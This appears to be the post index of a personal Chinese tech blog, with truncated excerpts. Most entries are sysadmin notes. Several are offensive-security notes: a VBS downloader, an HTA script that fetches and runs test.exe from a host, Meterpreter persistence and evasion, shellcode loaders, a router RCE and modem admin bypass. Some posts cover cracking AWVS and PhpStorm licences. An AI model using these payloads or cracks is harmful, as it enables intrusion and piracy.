Hello, world_

一下省了几千块: 『mac需要安装关键性软件更新 / critical software update is required』的解决办法

Mac突然无法进入系统，现象是正常模式进入系统输入完密码提示『mac需要安装关键性软件更新 / critical software update is required』 搜索引擎搜索中文"mac需要安装关键性软件更新"，基本都是说换T1芯片，还有说换CPU的，也有人说彻底重装系统能好 https:…

Vmware vt-x和Docker(WSL2/Hyper-V)切换方法

结论：目前win10上Docker后端要不然WSL2要不然Hyper-V，不管用哪种都会影响vt-x，目前能让vmware/安卓模拟器和Docker共存的方法只有放弃vt-x 以下是如果非要使用vt-x的切换方法 1.使用Docker(WSL2/Hyper-V) bcdedit /set hyper…

转：Windows下载执行命令大全

https://xz.aliyun.com/t/1654#toc-6 vbs 第一种把下载地址直接echo输入download.vbs。直接下载即可。 echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set She…

渗透思维导图合集

使用MacOS在只做esxi USB安装盘

格式化成fat32，然后iso内镜像所有内容考进去即可。 服务器启动模式要改成UEFI 参考： https://blog.csdn.net/qiaohewei/article/details/107748919 https://virtuallywired.io/2020/08/01/create-…

CTF-v8

OOB = out of boundary 部分参照： https://eternalsakura13.com/2018/05/06/v8/ 1.准备代理，git仓库走本地流量，depot_tools走代理 source proxy export no_proxy=10.10.10.xxx,127.…

openvas docker 使用宿主机代理更新NVT

docker run --detach --env HTTP_PROXY="http://172.19.112.1:7890" --env HTTPS_PROXY="http://172.19.112.1:7890" --env RSYNC_PROXY="172.19.112.1:7890" --p…

安装pycrypto报错pyfatal error: Python.h: No such file or directory的解决方法

apt install libpython3.7-dev

关于C2 post frameworks 的一些比较

原来竟然有这么多人在做C2，大开眼界。 https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574188899.pdf https://www.thec2matrix.com/matrix

转：Pwn学习笔记20:其他一些技术

https://darkwing.moe/2019/06/20/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B020-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/ 本地权限提升下的ASLR 这类问题在ge…

PYTHON C++混合编程笔记（一）- VS2017 编译 python 2.7

https://www.cnblogs.com/flhang/p/10591639.html PYTHON C++混合编程笔记（一）- VS2017 编译 python 2.7 0x00 前言 最近想把一些经验和笔记分享出来，也便于自己查询和复习。 0x01 环境准备 1） 下载python 最新2…

Tricks about how Meterpreter do migration shit.

https://jlajara.gitlab.io/posts/2018/11/26/process-migration.html https://security.stackexchange.com/questions/90578/how-does-process-migration-work-i…

有关iCould安全性的一些文档

https://www.apple.com.cn/privacy/government-information-requests/ https://www.apple.com/legal/transparency/ https://www.apple.com/legal/transparency/c…

How to get Autoscaling group Instances IP adresses

https://serverfault.com/questions/704806/how-to-get-autoscaling-group-instances-ip-adresses #!/bin/bash for i in `aws autoscaling describe-auto-scalin…

建立docker私有仓库

1.拉镜像 docker pull registry 2.建立目录，auth放账户认证信息，home用来映射到容器内存放仓库内镜像文件 mkdir /home/hd/docker_home/ mkdir /home/hd/docker_home/auth/ mkdir /home/hd/docker…

缩减AWS根磁盘

1.创建一个与旧系统同样系统的虚拟机，选择最小化配置省钱。 2.停止新虚机，把磁盘解除挂载。 3.将磁盘挂载到老虚机上 4.建立挂载点，挂载磁盘： mkdir /new mount /dev/nvme1n1p1 /new 4.删除/new/中除了"/dev/*","/proc/*","/sys/*"…

通过windows日志系统查找服务器重启、关闭原因

https://www.maketecheasier.com/see-pc-startup-and-shutdown-history-in-windows/ https://serverfault.com/questions/702828/windows-server-restart-shutdow…

Linux抗ddos内核优化

net.ipv4.tcp_syn_retries = 2 net.ipv4.tcp_synack_retries = 1 net.ipv4.tcp_keepalive_time = 600 net.ipv4.tcp_keepalive_probes = 3 net.ipv4.tcp_keepaliv…

Linux Add a Swap File – HowTo

https://www.cyberciti.biz/faq/linux-add-a-swap-file-howto/ Procedure To Add a Swap File Under Linux You need to use the dd command to create swap file…

在Nginx上使用CertBot

https://segmentfault.com/a/1190000005797776 前言 自己做了一个iOS App，需要访问自己的网站获取数据，但是系统默认只能直接访问https的网站。不想让应用改用http的服务。因此，研究如何启用https，本文即是介绍如何在CentOS上配合Nginx使…

How to Install HAProxy 2.0+ in Amazon Linux 2/CentOS/RHEL

https://www.bantrain.com/how-to-install-haproxy-2-0-in-amazon-linux-2-centos-rhel/ First, Install dependencies needed to build HAProxy yum install -y …

Haproxy配置抗ddos

https://www.haproxy.com/blog/application-layer-ddos-attack-protection-with-haproxy/ Protecting TCP (non-HTTP) Services So far, we’ve primarily covered…

Basic DoS/DDoS Mitigation with the CSF Firewall

https://www.liquidweb.com/kb/basic-dosddos-mitigation-with-the-csf-firewall/ Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks …

install csf

https://download.configserver.com/csf/install.txt ############################################################################### # Copyright 2006-201…

Install Webmin on AWS Amazon Linux 2

https://coffieldweb.com/weblog/2019/09/04/install-webmin-aws-amazon-linux-2/ Today we're going to install one of our favorite Linux management tools. …

msfdb启动报错"Attempting to start MSF web service...failed"解决方法

1.查看~/.msf4/msf-ws.log，如果是 dyld: lazy symbol binding failed: Symbol not found: _SSL_library_init Referenced from: /Users/xxxx/.rbenv/versions/2.6.5/li…

Copying an operating system image to an SD card using Mac OS

https://www.raspberrypi.org/documentation/installation/installing-images/mac.md Note: The use of the dd tool can overwrite any partition of your machi…

使用aws-cli更新lightsail mysql时区

https://forums.aws.amazon.com/thread.jspa?threadID=307496 https://lightsail.aws.amazon.com/ls/docs/en_us/articles/amazon-lightsail-updating-database-p…

转：linux系统高并发socket最大连接数优化

https://lanjingling.github.io/2016/05/10/linux-socket-youhua1/ 可以通过ulimit –a命令来查看系统的一些资源限制情况，如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # ulimit -a…

svn服务脚本

#!/bin/sh if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script fi ### BEGIN INIT INFO # …

sql server备份所有数据库脚本

DECLARE @name VARCHAR(50) -- database name DECLARE @path VARCHAR(256) -- path for backup files DECLARE @fileName VARCHAR(256) -- filename for backup D…

awvs最新Linux版v_190325161破解

patch_awvs md5: d2a234cbdb477c8dcfff8914266f908b 使用方法：下载原版demo v190325161，安装完之后把patch_awvs放到扫描器执行文件目录（例如：/home/acunetix/.acunetix_trial/v_190325161/sc…

安装mssql server 2017 docker版

https://docs.microsoft.com/zh-cn/sql/linux/quickstart-install-connect-docker?view=sql-server-2017&pivots=cs1-bash docker pull mcr.microsoft.com/mssql/…

sqlserver order by 注入

https://support.portswigger.net/customer/en/portal/articles/2590771-sql-injection-in-the-query-structure If user-supplied data is being inserted into …

一键部署L2TP和Cisco IPsec VPN服务

服务端 https://github.com/hwdsl2/setup-ipsec-vpn 客户端 https://github.com/usualwyy/l2pt-vpn-client

kali开机命令行、切换重启方式等等

https://unix.stackexchange.com/questions/249654/message-at-shutdown-watchdog-did-not-stop 1) Edit the file at /etc/default/grub and edit the GRUB_CMDL…

有CDN的情况下让nginx获取真实IP

By default, Cloudflare acts as a reverse proxy. As such, all connections to your origin web server come from Cloudflare IP addresses, and there are so…

MacOS进程报错accept: too many open files解决方法

It seems like there is an entirely different method for changing the open files limit for each version of OS X! For OS X Sierra (10.12.X) you need to:…

goland: build constraints exclude all Go files 解决方法

原因是无法正确index引用包里的大体积文件造成 解决方法： 1.将goland.vmoptions内JMV内存限制改成 -Xmx4096m 2.help ->edit custome properties 增加 idea.max.intellisense.filesize=999999

电信光猫HG2xx超级管理员权限获取方法

测试环境： 设备基本信息 设备型号: HG225GS 设备标识号: xxxxxxxxxxx 硬件版本: BCM.V2.0 软件版本: HG225GS_D1.00_JS1606 1、在浏览器上输入 http://192.168.1.1/logoffaccount.html，设置隐藏用户改为启用，这样就…

frida双端安装升级

Mac: pip install frida-tools # CLI tools pip install frida # Python bindings npm install frida # Node.js bindings iOS: cydia: https://build.frida.re

转：Caddy部署

转自：https://www.giuem.com/caddy-tutorial-for-debian/ 下载安装 首先去 Download Caddy 选择你需要的插件，然后复制下方的 One-step installer script (bash)，例如我的是 curl https://getca…

Caddy无法启动报错：caddy.service: Main process exited, code=exited, status=1/FAILURE 解决方案

https://caddy.community/t/caddy-wont-start-could-not-start-http-server-for-challenge-listen-tcp-80-bind-permission-denied/2543 修改服务文件，取消以下注释： ;Capabil…

转：编译可在苹果iOS设备上运行的Go语言程序

转自：link 前言 写在这里，算是mark一下，给后来的同学少走一些弯路。 本教程仅适用于 macOS, Linux 系统请看我的这篇教程，Golang教程：使用 Ubuntu 系统编译可在 iOS 设备上运行的Go语言程序 Hello-World 是我写的一个example，Github地址 G…

开启unicorn对NEON(STP SIMD)的支持

CPACR_FPEN_MASK = (0x3 << 20) CPACR_FPEN_TRAP_NONE = (0x3 << 20) cpacr = mu.reg_read(UC_ARM64_REG_CPACR_EL1) cpacr = (cpacr & ~CPACR_FPEN_MASK) | CPAC…

IDA切换ARM和THUMB指令

ARM AND THUMB MODE SWITCH INSTRUCTIONS This processor has two instruction encodings: ARM and THUMB. IDA allows to specify the encoding mode for every …

ollvm特征

我简单给你说ollvm的特征 ollvm的bcf的话 可以去找两个同级的sub 然后 算了不说了 两个同级的bb，不搞编译器的叫loc吧。不叫sub 有一个是循环自己 还有一个是往下走的 伪代码是一大串if true xxxx嵌套 这就是bcf，循环自己的那个就是假的控制流 ollvm的fla很明显…

ida+debugserver真机调试ios app

1.xcode随便新建一个工程，在真机上跑一遍。这样/Developer/usr/bin 下就会有debugserver。 2.sftp把debugserver拉回本地，在同目录下新建plist文件entitlements.plist，内容如下： <?xml version="1.0" encodi…

lldb报错"ImportError: cannot import name _remove_dead_weakref"的解决办法

export PATH=/usr/bin:$PATH 切回系统自带python

ios砸壳

1.sftp往手机里传以下文件： cycript(解压) dumpdecrypted.dylib（下回来源码直接make编译） 2.ps -e找到目标进程x 3.cycript -p x 4.[[NSFileManager defaultManager] URLsForDirectory:NSDoc…

VM报错"找不到可以连接的有效对等进程"的解决方案

两种原因： 1.驱动被gatekeeper拦截，在设置里允许就行 2.不明原因驱动无法加载，具体表现为VM自带的4个驱动中某个或多个无法正常加载，可以通过kextstat |grep vm查看，正常请款下加载的4个驱动是： 184 1 0xffffff7f85fad000 0x11000 0x110…

winlicense/TMD脱壳Tips

1.高版本code段下硬件写断点，跑到后面等解密 特征 rep movs byte ptr es:[edi],byte ptr ds:[esi] 2.低版本以VM解VM 1. .text段下内存写入断点,shift+F9,取消内存断点. 2. bp GetProcessHeap+C,F9,取消断点.…

ida for mac 插件配置 tips

yara: sudo pip install yara-python,不行下载安装 vim /usr/local/lib/python2.7/site-packages/yara/libyara_wrapper.py 修改308行左右 else: #dllpath = os.path.join(sy…

IDA插件收集

官网获奖插件： https://www.hex-rays.com/contests/2017/index.shtml 转自http://skysider.com/?p=458 1.静态分析 IDA FLIRT Signature Database —— 用于识别静态编译的可执行文件中的库函数 Fin…

杀死指定名称进程

1、#kill -9 $(ps -ef|grep 进程名关键字|gawk '$0 !~/grep/ {print $2}' |tr -s '\n' ' ')这个是利用管道和替换将 进程名对应的进程号提出来作为kill的参数。 很显然上面的方法能完成但是过于复杂，下面这种就显得简单的多了 2、#kil…

oracle tips

函数 过程 表名 trigger保持大写，否则默认大小写敏感找不到对象 sqlplus username/pass@//172.31.xxx.xxx:1521/ORCL

sql server收缩数据库和日志

收缩数据库： DBCC SHRINKDATABASE(database) SQL2008清空删除日志: 方法一： USE [master] GO ALTER DATABASE database SET RECOVERY SIMPLE WITH NO_WAIT GO ALTER DATABASE da…

解决npm报错Error: EACCES: permission denied

sudo npm install -g xxxxx --unsafe-perm=true --allow-root

转：查询oracle比较慢的session和sql

--查询最慢的sql select * from ( select parsing_user_id,executions,sorts command_type,disk_reads,sql_text from v$sqlarea order by disk_reads desc )where row…

Elasticsearch Mapping - Rename existing field

转自：stackoverflow.com PUT _ingest/pipeline/my_rename_pipeline { "description" : "describe pipeline", "processors" : [ { "rename": { "field": "fieldCame…

gomobile

初始化： gomobile init -ndk /Users/usualwyy/Library/Android/sdk/ndk-bundle/ android: gomobile bind -target=android/arm ios: gomobile bind -target=ios/arm

aws rds mysqld存储过程创建tips

CREATE DEFINER=`root`@`localhost` `xxxxxxx`() 替换成 CREATE DEFINER=CURRENT_USER PROCEDURE `xxxxxxx`() 否则报权限错误

oracle sql日志

select b.SQL_TEXT,b.LAST_ACTIVE_TIME,b.SQL_FULLTEXT from v$sqlarea b where module='xxxxx.exe' order by b.LAST_ACTIVE_TIME desc

Windows 2008 端口转发

首先安装IPV6（xp下IPV6必须安装，否则端口转发不可用！） netsh interface ipv6 install 添加一个IPV4到IPV4的端口映射 netsh interface portproxy add v4tov4 listenaddress=192.168.193.1 list…

Oracle dmp文件导入AWS RDS

http://docs.aws.amazon.com/zh_cn/AmazonRDS/latest/UserGuide/Oracle.Procedural.Importing.html 本地必须有个Oracle数据库。 先建立数据库到数据库的链路 create public database lin…

2003可以获得主机名的一些文件

C:/windows/debug/netsetup.log C:/windows/system32/LogFiles/Cluster/clusocm.log

转：Tor Country Codes

http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/ Tor has the ability to let you choose which exit nodes you’d like to use – either by name, fi…

转：Linode安装windows教程

转自：https://www.91yun.org/archives/1415 第一步：创建磁盘 第二步创建一个新的配置文件 按我这红框的选，有 3 个地方要改： VM MODE 选全虚拟 Kernel 选 Direct DISK 启动磁盘选你刚才创建的磁盘 第三步进入救援模式 第四步开启远程控制 页…

转：How To Install Java on Ubuntu with Apt-Get

https://www.digitalocean.com/community/tutorials/how-to-install-java-on-ubuntu-with-apt-get Introduction As a lot of articles and programs require to …

转：MySQL优化必须调整的10项配置

当我们被人雇来监测MySQL性能时，人们希望我们能够检视一下MySQL配置然后给出一些提高建议。许多人在事后都非常惊讶，因为我们建议他们仅仅改动几个设置，即使是这里有好几百个配置项。这篇文章的目的在于给你一份非常重要的配置项清单。 我们曾在几年前在博客里给出了这样的建议，但是MySQL的世界变化实在…

怎么记都记不住，还是特码写下来吧，init.d to systemctl

systemctl daemon-reload

修改ubuntu 磁盘加密密钥

Here is the answer that worked for me, after Hamish helped me to realize my typo: To add a new password, use luksAddKey: sudo cryptsetup luksAddKey /d…

ubuntu开机挂载移动硬盘

blkid 查看 uuid 如下 ps：或者使用uuidgen 《设备》查看具体设备的uuid reddusty@reddusty-X550JK:~$ sudo blkid [sudo] password for reddusty: /dev/sda1: LABEL="M-OM-5M-MM-3M-1…

修改tomcat和java时区

故障显示，log日志里时间错的，但控制台对的，为了方便解决大家问题，两种故障的解决方法如下 1、控制台时间少8小时 解决方案： 1、查看电脑的时区是否正确 2、修改catalina.bat文件 set JAVA_OPTS=%JAVA_OPTS% -Duser.timezone=GMT+08 在最后几…

HTA auto script

<script language="VBScript"> window.moveTo 8888,8888 u="http://192.168.1.23/test.exe" p="m.exe" Set x=CreateObject("Microsoft.XMLHTTP") x.Open"GET",u,…

跨平台编译Go

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx 减小体积：-ldflags "-s -w" https://golang.org/doc/install/source#environment $GOOS…

metasploit tips

This simple information might be useful for you who use metasploit framework :-). You will find out this EXITFUNC switch when you create a payload fro…

ssh via socks5 proxy

直接使用命令行： ssh root@IP -p port -o ProxyCommand='nc -x 127.0.0.1:1086 %h %p' 修改配置文件： vim ~/.ssh/config 添加 ProxyCommand /usr/bin/nc -x 127.0.0.1:1086 %h %…

安装最新版nginx+php-fpm+MariaDB

Nginx: #!/bin/bash apt-get install lsb-release wget http://nginx.org/keys/nginx_signing.key apt-key add nginx_signing.key codename=`lsb_release -c |aw…

MariaDB改完DATA_DIR无法启动的解决

无selinux,高版本MariaDB已默认关闭apparmor设置 问题是服务器设置造成的 修改/lib/systemd/system/mariadb.service ProtectHome=false 默认禁止写/HOME目录，问题解决

Grub爆炸通过LiveCD修复的方法

Re-install your GRUB. Boot using a live cd of ubuntu. Open a terminal and run the command sudo fdisk -l It lists the complete partition table of the h…

编译好的win32 cygwin库

http://www-uxsup.csx.cam.ac.uk/pub/windows/cygwin/x86/release/

转：How to find appPackage and appActivity for APK file

I hope you have gone through the tutorial of Lunching Amazon App and must notice the below statement: capabilities.setCapability(“appPackage”, “in.ama…

转：Finding the App Bundle ID

https://pspdfkit.com/guides/ios/current/faq/finding-the-app-bundle-id/ There is no way to directly look up [Bundle IDs][PSPDFKit Guides Bundle ID] in …

error while loading shared libraries

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/library

Exception in thread "ajp-apr-8010-exec-53" java.lang.OutOfMemoryError: PermGen space

win2008: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Apache Software Foundation\Procrun 2.0\Tomcat\Parameters\Java 1.startup.bat启动 在tomcat_home/bin目录下找到ca…

一张很好笑的图

原创：小米路由器_hookWifiConnect函数RCE漏洞

=================by 大蝉@xs3c.co===============转载请注明出处============= 漏洞描述 所有通过Wifi连入小米路由器网络的设备会触发_hookWifiConnect函数，由_hookWifiConnect调用_doPush给管理员推送设备接入消…

How to install Java in Kali Linux

直接下JDK，里面包含Jre http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 原装openjdk在 /usr/lib/jvm Uncompress archive Now you …

Hackbar with cookie injection

Hats off to original author "arschloch". Original version:https://addons.mozilla.org/en-US/firefox/addon/hackbar1/?src=api Feature of my release: 1.Fi…

kali安装nvidia驱动和cuda

dist-upgrade完黑屏解决办法： sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub update-grub reboot 或者直接在Grub界面在linux....quiet后面加上nouveau.modeset=0，禁…

转：树莓派调整分区大小

原文: https://www.phpbulo.com/archives/467.html 本人的树莓派使用的是8G的TF卡。可是最近频繁提示 空间不足，df -h 看看已经用了96%了，插到电脑上显示55.9M 可能是windows只能识别fat32这么多，其他可能未被识别。 我们到磁盘管理器中查…

kali tips

Useful Commands: OS, Networking, Hardware, Wi-Fi Troubleshooting: Kali-Linux Installation, Repository, Wi-Fi Cards (Official Docs) Hardware: Recommend…

转：开启TCP BBR拥塞控制算法

转自：https://github.com/iMeiji/shadowsocks_install/wiki/%E5%BC%80%E5%90%AFTCP-BBR%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E7%AE%97%E6%B3%95 BBR 目的是要尽量跑满带宽, …

aliyun高性能计算服务HPC破解密码性能实测

总体评价：屌炸天 对比在线GPU破解阵列：短时间破解无性价比优势，时间超过5小时以后具有性价比优势 以下是实际测试 BenchMark测试： [root@AliHPC-M40-410 hashcat]# hashcat -b --force hashcat (v3.20-88-gd36cc4c) s…

stager自动迁移进程

转自：https://community.rapid7.com/thread/3822 What you are experiencing is common on systems in the wild (I see it more often in VM environments). Basic…

Kali+VNC除了LXDE另一种方案

转自：https://forums.kali.org/showthread.php?26823-Remote-access-with-SSH-TightVNC-failed-with-new-Kali-2-0 I have, but it involves installing the MATE d…

转载: MSF Startup at boot? Using msfrpcd, msgpack, & msf rc files for “disaster recovery”

原文：https://khr0x40sh.wordpress.com/2012/05/22/msf-startup-at-boot-using-msfrpcd-msgpack-msf-rc-files-for-disaster-recovery/ Had an issue I had to solv…

Linux卸载阿里云服务、云盾、安骑士

Linux类型系统 下载 http://update.aegis.aliyun.com/download/uninstall.sh 执行下列命令：chmod +x uninstall.sh sh uninstall.sh (Debian为./uninstall.sh) rm /usr/sbin/al…

流量走tor

https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#WARNING

msf tips: session is not valid and will be closed

本地可绑定IP与外网IP不一致时 LHOST LPORT用来帮助信标找到服务器 ReverseListenerBindHost 是绑定地址 另外需要关闭AutoVerifySession(原因未知) 问题： https://github.com/rapid7/metasploit-framework…

msf persist免杀

persist调用 /usr/local/share/metasploit-framework/modules/exploits/windows/local/persistence.rb exe = generate_payload_exe # Generate the vbs payload vp…

转几个ShellcodeLoader

refer:https://github.com/VeroFess/shellcode_loader/blob/master/loader.c #include <stdio.h> #ifdef _MSC_VER #define forceinline __forceinline #elif def…

pyq5开发环境部署

1.eric IDE开发环境 http://eric-ide.python-projects.org/eric-download.html Installation using PyQt5 wheels Installing eric6 and its pre-requisites is easy …

安全漏洞的概念及分类

复习一下姿势，转自 http://sec.chinabyte.com/165/12946665.shtml 堆缓冲区溢出 导致堆缓冲区溢出的来源与栈溢出的一致，基本都是因为一些长度检查不充分的操作，唯一不同的地方只是发生问题的对象不是在编译阶段就已经确定分配的栈缓冲区，而是随着程序执行动态分配的堆块…

rbenv tips

some tips about rb gem源 https://ruby.taobao.org/ $ gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/ $ gem sources -l *** …

MacOS安装Metasploit报错tips

ruby的pg库报错： ARCHFLAGS="-arch x86_64" bundle install rb版本 rbenv解决，msf建议的rb版本去github看 Nokogiri 报错 http://stackoverflow.com/questions/24091869/installing…

Linux自动找exp的脚本

https://github.com/mzet-/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh

菜刀各版本MD5

文件: caidao-20100928.exe 大小: 200192 字节 MD5: C05D44DBE353525F492208D891B53875 文件: caidao-20111116.exe 大小: 220672 字节 MD5: 5001EF50C7E869253A7C152A638EAB8…

kali源列表

http.kali.org/README.mirrorlist

openVAS服务配置方法

修改： /lib/systemd/system/greenbone-security-assistant.service systemctl daemon-reload root@kali:~/.vnc# find / -name greenbone* /usr/share/man/man8/gre…

云主机、虚拟机、KVM安装kali遇到的一些问题笔记

1.原始挂载点复杂。 解决方案：删除所有分区，重新分区。 2.启动报警：warning failed to connect to lvmetad fall back to internal scanning 解决方案：安装过程中Grub安装到第一块磁盘 3.启动过程中卡started user ma…

How do I create a 32-bit WINE prefix?

http://askubuntu.com/questions/177192/how-do-i-create-a-32-bit-wine-prefix 81 down vote accepted To create a 32-bit WINE prefix on a 64-bit Ubuntu sys…

WVS in wine

IE MSXML3 native jet40 mfc42

kali安装wine32bit

dpkg --add-architecture i386 apt-get update （更新一下） apt-get install wine

kali服务路径

/lib/systemd/system/

转：小米路由 vpn加chnroutes 实现

原文地址：http://www.wy182000.com/2014/11/16/%e5%b0%8f%e7%b1%b3%e8%b7%af%e7%94%b1-vpn%e5%8a%a0chnroutes-%e5%ae%9e%e7%8e%b0/ 刚刚过去的双11买了一个小米路由，既然是openwrt的内核自…

解决golang.org不能访问的问题

golang.org被屏蔽了，直接访问不了，解决办法如下： 在 http://ping.eu/ping/ 上ping一下golang.org，获取到IP，如图： 然后，在C:\Windows\System32\drivers\etc\hosts中，添加ip和golang.org的对应关系，添加如下一…

debian转kali

debian升级到kali2 #!/bin/bash ### Replace the Debian repos with Kali repos ### mv /etc/apt/sources.list /etc/apt/sources.list.debian cat <<EOF > /etc/apt…

vnc4server自启动脚本

自启动脚本，放置于/etc/init.d/vnc #! /bin/sh export USER="root" export PATH="/usr/local/bin:/usr/bin:/bin:/usr/bin/X11" NAME=vnc start() { su - $USER -c"vncser…

增加VBox显存到256M

原文：https://askubuntu.com/questions/587083/virtualbox-how-to-increase-video-memory Virtual Box supports up to 256 MB of video RAM. This can not be set …

JS判断手机端是否安装了某个客户端APP应用

最近在做项目的wap版，有个需求就是，先判断手机上是否有我们的APP应用，如果有的话打开应用，没有才跳转到wap页面。 wap简单来说就是运行在移动端浏览器上的网站。不管应用在什么地方，总之就是浏览器呗，可以通过JS来判断本地是否有某应用，实现方式实际就是将http协议转为本地软件协议。 还是直接贴…

TL-WN823N安装Linux驱动

tp-link TL-WN823N sudo apt-get install -y git ; git clone https://github.com/Mange/rtl8192eu-linux-driver rtl8192 ; cd rtl8192 ; sudo make && sudo mak…

MacOS安装初始化启动docker

$ brew install docker $ brew install boot2docker $ boot2docker init $ boot2docker start $ $(boot2docker shellinit) $ docker run hello-world

brew安装mysql报错解决方法

安装完后启动报错： mysql.server start： . ERROR! The server quit without updating PID file (/usr/local/var/mysql/bogon.pid). mysql -uroot -p： ERROR 2002 (HY000)…

MacOS 通过brew控制php-fpm启动

默认不记录pid,导致brew无法控制php-fpm 1.开启php-fpm.conf中pid = run/php-fpm.pid 2.brew services restart php-fpm

Vi/Vim查找替换使用方法

：0，$s/from/to/g 替换第 n 行开始到最后一行中每一行所有 from 为 to vi/vim 中可以使用 ：s 命令来替换字符串。该命令有很多种不同细节使用方法，可以实现复杂的功能，记录几种在此，方便以后查询。 ：s/vivian/sky/ 替换当前行第一个 vivian 为 sky …

Adobe Dreamweaver CC Mac 2015

Adobe Dreamweaver CC Mac 2015中文版(Dreamweaver苹果Mac版)是Adobe公司为苹果系统Mac开发的一款网页制作工具，集成简体中文。使用Adobe Dreamweaver CC for Mac 2015可视化环境中设计的你网页，非常方便高效完成网页设计。更可让…

mysql读写分离方案

转：InnoDB与Myisam的六大区别

本文主要整理了Mysql 两大常用的存储引擎MyISAM，InnoDB的六大常见区别，来源于Mysql手册以及互联网的资料 InnoDB与Myisam的六大区别 MyISAM InnoDB 构成上的区别： 每个MyISAM在磁盘上存储成三个文件。第一个文件的名字以表的名字开始，扩展名指出文件类型。 …

转：Mysql避免全表扫描sql查询优化

对查询进行优化，应尽量避免全表扫描，首先应考虑在 where 及 order by 涉及的列上建立索引: .尝试下面的技巧以避免优化器错选了表扫描： · 使用ANALYZE TABLE tbl_name为扫描的表更新关键字分布。 · 对扫描的表使用FORCE INDEX告知MySQL，相对于使用给定…

python IOError Input/Output Error When Printing

http://stackoverflow.com/questions/10409897/ioerror-input-output-error-when-printing I think it has to do with the terminal the process is attached to…

Oracle创建用户、表空间、导入导出、...命令

//创建临时表空间 create temporary tablespace test_temp tempfile 'E:\oracle\product\10.2.0\oradata\testserver\test_temp01.dbf' size 32m autoextend on next 32m…

Oracle数据库impdb和expdb操作

跨版本：expdp username/password directory=data_pump_dir dumpfile=*.dmp full=y version=11.1.0.6.0 impdp scott/tiger DIRECTORY=dpdata1 DUMPFILE=expdp.dmp SC…

转： Mac OS X 中 HomeBrew 国内镜像

cd /usr/local/ git remote set-url origin http://mirrors.ustc.edu.cn/homebrew.git 或者这个：git remote set-url origin git://mirrors.tuna.tsinghua.edu.cn/hom…

转：你所不知道的XML安全

原文：http://drops.wooyun.org/tips/5290 0x00 XML简介 XML 可扩展标记语言，被设计用来传输和存储数据。其形式多样 例如： 1.文档格式（OOXML，ODF,PDF,RSS,DOCX...） 2.图片格式（SVG,EXIF Headers,...） 3.配置…

sumsung Note3 存储卡挂载点

/dev/block/vold/179:65 /dev/block/mmcblk1p1

转：PHP删除数组中空值的方法介绍

原文：http://www.jb51.net/article/48984.htm 说来惭愧，以前在去掉数组的空值是都是强写foreach或者while的，利用这两个语法结构来删除数组中的空元素，简单代码如下： 复制代码 代码如下: <?php foreach( $arr as $k=>$v){ if…

转：论PHP常见的漏洞

原文链接：http://drops.wooyun.org/papers/4544 0x00 前言 里面很多都是像laterain学习到的, 如果能考上cuit的话 自动献菊花了。 0x01 安装的问题 首先拿到一份源码 肯定是先install上。 而在安装文件上又会经常出现问题。 一般的安装文件在安…

Linux图形界面自启动管理

sysv-rc-conf

meek网桥仓库

https://bridges.torproject.org/bridges?transport=meek

TOR与GFW的PK

最近对于我们翻墙党来说最好的消息就是TOR复活了。从2010年开始，GFW逐渐把绝大部分TOR中继节点和目录服务器的IP都列入了黑名单，导致TOR无法在墙内独立联网，只能靠网桥，但不少网桥IP也被GFW加入了黑名单，导致这几年TOR的翻墙效果一直都不好。 不 过最近出的meek插件和obfs4网桥又…

Stem: Tor Process

Tor Process Helper functions for working with tor as a process. NO_TORRC: when provided as a torrc_path tor is ran with a blank configuration DEFAULT_…

Stem: Controller

Module for interacting with the Tor control socket. The Controller is a wrapper around a ControlSocket, retaining many of its methods (connect, close,…

转：IOS 生成pem证书方法

原文：http://blog.csdn.net/lgm252008/article/details/11201467 具体步骤如下: 首先，需要一个pem的证书，该证书需要与开发时签名用的一致。 具体生成pem证书方法如下： 1. 登录到 iPhone Developer Connection Po…

转：Mysql 查询缓存

转自：http://orangeholic.iteye.com/blog/1701117 Mysql 查询缓存 查询缓存的作用就是当查询接收到一个和之前同样的查询，服务器将会从查询缓存种检索结果，而不是再次分析和执行上次的查询。这样就大大提高了性能，节省时间。 1.配置查询缓存 修改配置文件，修改[…

php7安装redis扩展PhpRedis

1.git clone https://github.com/phpredis/phpredis.git 2./usr/local/php7/bin/phpize 提示缺autoconf apt-get install m4 apt-get install autoconf 3../configur…

PHP获取调用者

function a() { b(); } function b() { $backtrace = debug_backtrace(); array_shift($backtrace); var_dump($backtrace); } a();

快速部署debian + VNC

install lxde kali: apt-get install lxde-core lxde kali-defaults kali-root-login desktop-base ubuntu: apt-get install lxde-core lxde desktop-base Just …

Nginx中worker_connections的问题

转载自http://hi.baidu.com/u_chen/item/560f1504a0a77367d45a1184 查看日志，有一个[warn]: 3660#0: 20000 worker_connections are more than open file resource limit: 1…

Ubuntu下迁移MySQL数据库文件目录

用Ubuntu的apt包管理工具安装的mysql数据库，默认将数据库文件保存在/var/lib/mysql目录下，时间久了数据库越来越大，所以准备挂载个新的硬盘专门存放mysql数据库。 1、确定mysql数据库文件存放目录 一般默认是在/var/lib/mysql目录下。先登录自己的mysql数据…

Ubuntu编译安装PHP7.0.0

编译环境 sudo apt-get install build-essential xml sudo apt-get install libxml2-dev pcre sudo apt-get install libpcre3-dev jpeg sudo apt-get install libjpe…

phpstorm XX方法

注册时选择 License server ，填 http://idea.lanyus.com/ http://idea.qinxi1992.cn ，然后点击 OK，就搞定了。 注意 http://idea.lanyus.com/ http://idea.qinxi1992.cn 务必加上最后的 / …

转：如何在BeEF中使用metasploit颠覆你的浏览器

